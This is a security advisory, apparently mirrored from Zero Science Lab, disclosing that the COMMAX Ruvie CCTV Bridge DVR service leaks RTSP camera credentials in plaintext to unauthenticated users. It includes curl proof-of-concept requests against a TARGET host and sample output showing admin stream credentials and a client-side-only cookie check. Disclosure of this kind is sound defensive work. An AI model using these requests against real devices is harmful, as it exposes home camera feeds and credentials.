COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credentials Disclosure

🗓️ 15 Aug 2021 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 486 Views

COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credentials Disclosure. Unauthenticated attacker can expose RTSP credentials in plain-text

<html><body><p>COMMAX Smart Home Ruvie CCTV Bridge DVR Service RTSP Credentials Disclosure


Vendor: COMMAX Co., Ltd.
Prodcut web page: https://www.commax.com
Affected version: n/a

Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment
complex that provides advanced life values and safety.

Desc: The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker
to disclose RTSP credentials in plain-text.

Tested on: GoAhead-Webs


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5665
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5665.php


02.08.2021

--


$ curl http://TARGET:8086/overview.asp

</p>
<title> Infomation</title>
<script src="./jquery.min.js"></script>
<script src="./jquery.cookie.js"></script>
<script src="./login_check.js"></script>
<br/><br/>
<center>
<table>
<tr><td>
<li> [2021/08/15 09:56:46]  Started <br/> </li><li> MAX USER : 32 <br/> </li><li> DVR Lists <br/>[1] rtsp://admin:s3cr3tP@[email protected]:554/Streaming/Channels/2:554 <br/>
</li></td></tr>
</table>
</center>




$ curl http://TARGET:8086/login_check.js:
var server_ip = $(location).attr('host');
var server_domain = server_ip.replace(":8086", "");

document.domain = server_domain;

var cookiesAuth = $.cookie("cookiesAuth");

if (cookiesAuth != "authok") {
    parent.document.location.href = "http://" + server_domain + ":8086/home.asp";
}
</body></html>

15 Aug 2021 00:00Current

5.8Medium risk

Vulners AI Score5.8